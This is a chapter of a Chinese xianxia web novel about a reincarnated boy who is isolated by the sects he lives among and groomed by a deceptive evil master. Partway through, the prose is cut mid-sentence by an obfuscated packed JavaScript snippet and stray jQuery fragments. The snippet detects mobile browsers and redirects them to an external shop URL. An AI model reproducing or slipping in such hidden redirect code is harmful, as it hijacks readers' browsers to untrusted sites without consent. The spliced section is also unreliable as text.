文趣网 > 其他小说 > 神武梦:从清河到天下 > 28. 第十章 身世败露,各派暗中忌惮[番外]
    青云宗的晨钟,一如既往敲醒群山。薄雾缭绕,石阶清寒,弟子们往来匆匆,书声与吐纳之声交织,一派安稳平和。

    可这份平静之下,一场足以撼动整个凡尘修行界的风暴,正在悄然凝聚。

    阿尘依旧是那个沉默寡言、独来独往的外门弟子。白日课上不争不抢,晨昏修行不骄不躁,受了排挤不怒不怨,被人刁难不辩不鸣。他越是沉静内敛,越是气质出众,那份藏不住的清光与本源厚重感,就越难以掩饰。

    他自己并不知道,他每一次吐纳、每一次凝神、每一次神魂微动,都会泄露出一丝独一无二的明暗同源气息。

    那是金光与暗力共生、正道与深渊同根的体质。

    那是当年许尘纵横天下、让正邪两道既敬且畏的标志。

    那是整个修行界,最刻骨铭心、最不敢忘记的烙印。

    纸,终究包不住火。

    这一日,三位来自外界名门的长老,受邀到访青云宗论道交流。三人皆是亲历过当年黑白围剿之战的老人,见识广博,底蕴深厚,对许尘的气息记忆深入骨髓。

    正午时分,众人在殿前广场经过,恰好遇上结束文课、独自返回小院的阿尘。

    只是擦肩而过的一瞬。

    一缕极淡、极隐晦、却绝不可能认错的同源气息,轻轻飘入三位长老鼻息。

    三人脚步猛地一顿,脸色瞬间剧变。

    “这气息……”

    “不可能……”

    “他不是早就已经形神俱灭了吗?!”

    短短三句低语,却如惊雷炸在心头。

    三位长老不动声色,继续前行,直到进入静室,才再也压制不住惊涛骇浪。

    “是他,绝对是他!”

    “明暗同体,神魂自带破碎劫韵,除了当年的许尘,世间再无第二人!”

    “那孩子,根本不是什么孤童,他是许尘的残魂转世!”

    消息一出,青云宗高层再也坐不住。

    宗主与几位太上长老齐聚密室,面色凝重如铁。

    “当年围剿,天下见证,他明明已经自散修为、神魂溃散,彻底消亡……为何会转世重修?”

    “残魂未灭,分身留存,寄体孩童,记忆封印……好一个瞒天过海!”

    “此事一旦传开,整个修行界必定再次震动!正邪两道,绝不会容许他活下去!”

    他们恐惧。

    他们怕许尘重归巅峰,报复当年围剿之仇;

    怕他明暗之力失控,掀翻整个修行界秩序;

    怕他再次成为天下中心,让所有门派都沦为陪衬;

    更怕当年那场血流成河的大战,重新上演。

    可他们又不敢声张。

    一来,无凭无据,仅凭气息相似,便对一个孩子下手,必被天下唾骂;

    二来,谁也不想第一个出头,成为许尘觉醒后的第一个仇人;

    三来,海神一脉隐约在东海异动,谁也摸不清深浅,不敢轻举妄动。

    于是,一种诡异而冰冷的默契,悄然形成。

    表面不动声色,暗中全面戒备。

    表面不闻不问,暗中严密监控。

    表面不欺不压,暗中彻底孤立。

    所有长老,对阿尘一律视而不见,不提拔、不指点、不责罚、不亲近;

    所有执事,对阿尘一律谨慎回避,不刁难、不关照、不安排、不接触;

    所有弟子,在长辈眼神示意下,对阿尘更是避如蛇蝎。

    原本只是同辈间的嫉妒排挤,一夜之间,变成了整个宗门的无声孤立。

    阿尘敏锐地察觉到了变化。

    走在路上,原本还会窃窃私语的弟子,看见他便立刻散开,低头快步走过,不敢对视;

    课室里,他坐过的地方,左右空位空出一大片,无人敢靠近;

    修行场中,他一出现,原本热闹的吐纳练气,瞬间变得寂静压抑;

    甚至连饭堂打饭,执事都会下意识停顿一瞬,眼神躲闪,双手微颤。

    所有人都在怕他。

    所有人都在躲他。

    所有人都知道一个他不知道的秘密。

    阿尘站在人群之外,小小的身子孤零零立在那里,心口一阵一阵发闷。

    他不明白。

    他没做错事,没惹过人,没争过抢过,没怨过闹过。

    为什么,所有人都用那样的眼神看他?

    恐惧,疏离,戒备,忌惮……像在看一个怪物。

    他低下头,默默转身,一步步走回那个偏僻冷清的小院。

    关上门,隔绝所有目光与气息,世界才稍稍安静。

    阿尘蜷缩在榻边,双手抱着膝盖,眼眶微微发红。

    他又想起了渔村的海风,养父母的怀抱,师父温暖的手掌。

    只有在那里,他才是普通的孩子,不是怪物,不是异类,不是所有人都要躲开的存在。

    “师父……”

    “我到底是谁……”

    “为什么他们都怕我……”

    他在心底轻声呼唤。

    百里之外的洞府之中,邪修冷漠地感应着这一切,嘴角勾起一抹阴冷的笑意。

    “怕得好。”

    “越孤立,越孤独,越无助,你就越依赖我。”

    “越依赖我,你就越逃不掉。”

    “许尘,你看看,天下人都弃你,厌你,怕你,只有我‘疼’你,‘护’你,‘信’你。”

    他故意延迟了片刻,才慢悠悠送出一缕温和意念,穿过遥远路途,落在阿尘心口。

    “阿尘,别怕,师父在。”

    “他们不懂你,师父懂你。”

    “他们疏远你,师父陪着你。”

    “你记住,不管别人怎么看你,师父永远不会丢下你。”

    一句“永远不会丢下你”,瞬间击溃阿尘所有委屈与不安。

    孩童最是纯粹,谁在他孤立无援时站出来,他便把谁当成唯一的光。

    “师父……”阿尘哽咽,“我好想你。”

    “师父也想你。”邪修声音温柔得能滴出水,“再忍一忍,等你再强一点,师父就去接你。”

    “嗯!”阿尘用力点头,擦干眼泪,重新坐直身子,“我会好好修行,我会听话,我不会给师父丢脸。”

    邪修在暗处冷笑。

    丢脸?

    你越强大,越圆满,越举世瞩目,对我越有利。

    你越孤独,越无助,越被天下背弃,越方便我一口吞下。

    这场以孤独为饵、以依赖为钩、以天下为局的算计,越来越顺利。

    而深海龙宫之中,海神与青衫弟子,将一切尽收眼底。

    “师尊,各大门派已经全部知晓阿尘身份,暗中结成默契,彻底孤立他、忌惮他、戒备他。”青衫弟子声音低沉,“再这样下去,他会被逼疯的。”

    海神静坐如山,眸光穿透万顷碧波,望向青云宗那道孤单的小身影,一声轻叹。

    “他上一世,为天下而战,为正道而战,为凡人断臂,为知己赴死。”

    “可天下人如何待他?背弃,围剿,杀戮,灭口。”

    “这一世,他什么都没做,只是安静修行,只是想找回自己。”

    “天下人又如何待他?孤立,忌惮,疏远,恐惧。”

    “这不是惩罚,这是醒魂汤。”

    “让他看清楚,所谓正道,所谓名门,所谓人心,到底是什么模样。”

    “让他记起来,他曾经怎样被天下辜负。”

    青衫弟子默然。

    师尊心硬如铁,却是在以最残忍的方式,叫醒一个装睡的人。

    阿尘不醒,许尘不归;

    许尘不归,局无可破;

    局无可破,终会落得被邪修夺舍、永世沉沦的下场。

    欲救其魂,先碎其心;

    欲渡其道,先寒其情。

    青云宗的日子,越来越难熬。

    同辈弟子的排挤,从暗中的嘲讽、藏物、打闹,升级成了明面上的冷暴力与恶意刁难。

    林浩等人见连长老都疏远阿尘,胆子越发大了起来。

    “喂,那个怪物,离我们远点!”

    “你身上一股子邪气,别污染了我们的修行!”

    “长老都不管你,一看就不是什么好东西!”

    话语尖锐刻薄,一句一句,扎在阿尘心上。

    他依旧不怒、不吵、不辩、不闹。

    只是默默地走开,默默地忍受,默默地回到小院,默默地继续修行。

    他越沉默,别人

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17605866|205717||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    越觉得他阴沉;

    他越退让,别人越觉得他心虚;

    他越安稳,别人越觉得他恐怖。

    没有人知道,每一次冷眼、每一句恶语、每一次孤立,都在悄悄松动阿尘的孩童心性,唤醒许尘的灵魂记忆。

    深夜,小院。

    阿尘盘膝打坐,静心诀运转。

    神魂深处,那些破碎的画面,不再是零星闪现,而是开始成片成片拼接。

    幽谷,晚霞,白衣身影,灯下论道。

    “师兄,我叫诚道。”

    “师兄,我帮你推演命格。”

    “师兄,奇门已备,暗风将至。”

    画面骤然碎裂。

    血色,雷光,围剿,背叛。

    “他堕入魔道!”

    “杀了他!”

    “斩草除根!”

    断臂剧痛袭来,阿尘猛地闷哼一声,嘴角溢出一丝血线。

    他捂住左肩,脸色惨白,浑身冷汗,浑身发抖。

    不是幻觉。

    不是心魔。

    不是想象。

    那是真实发生过的痛。

    那是真实流过的血。

    那是真实死在他怀里的人。

    “啊——”

    阿尘抱住头,痛苦地低喃。

    “你是谁……”

    “我是谁……”

    “为什么……为什么我这么痛……”

    心口那道灵魂心契,再次传来师父温和的声音。

    “阿尘,凝神,静心,那只是心魔,不要怕。”

    “听话,忘掉那些画面,师父永远陪着你。”

    阿尘咬紧牙关,强迫自己冷静,强迫自己忘记,强迫自己把一切都当成心魔。

    他不知道,邪修正躲在暗处,看着他痛苦、看着他挣扎、看着他被记忆撕裂、看着他被天下孤立,笑得越来越阴冷。

    “快了……”

    “快醒了……”

    “等你把所有记忆都想起来,等你把所有力量都收回来……”

    “你的肉身,你的神魂,你的道基,你的一切,就都是我的了。”

    青云宗的天,越来越冷。

    阿尘的心,越来越凉。

    天下各派的眼线,越来越密。

    暗处的杀机,越来越浓。

    有人已经在暗中提议:

    “趁他未醒,斩草除根!”

    “宁可错杀,不可放过!”

    “当年没能彻底杀死他,这一次,绝不能留后患!”

    声音越来越响,杀意越来越重。

    一场新的围剿,正在悄悄酝酿。

    只不过这一次,不需要黑白两道联手,只需要一个借口,一个契机,一把火。

    而那把火,很快就会被点燃。

    阿尘依旧坐在冷清的小院里,望着窗外月光,眼神茫然又痛苦。

    他不知道,自己的身世已经彻底败露。

    不知道,整个修行界都在忌惮他、戒备他、等着杀他。

    不知道,最信任的师父,正是这场骗局的始作俑者。

    不知道,自己每一次修行、每一次变强、每一次依赖,都是在把自己推向深渊。

    月光洒在他单薄的身上,拉出长长的影子,孤单得让人心疼。

    他还在等。

    等师父来接他,

    等记忆慢慢醒来,

    等自己不再是怪物,

    等有一天,能堂堂正正站在阳光下,不再被人怕、被人躲、被人疏远。

    可他不知道。

    他等的不是救赎。

    是夺舍。

    是骗局。

    是又一场举世皆敌。

    是又一次血染天下。

    深海之中,海神缓缓睁眼。

    “时候,快要到了。”

    “阿尘的壳,快要碎了。”

    “许尘的魂,快要醒了。”

    青衫弟子躬身:“师尊,我们何时出手?”

    “等他亲口问出那一句——”

    “师父,你为什么骗我。”

    一言落下,海浪无声翻涌。

    青云之巅,月色如霜。

    那个还在傻傻等待温暖的孩子,距离彻底觉醒,只差最后一根稻草。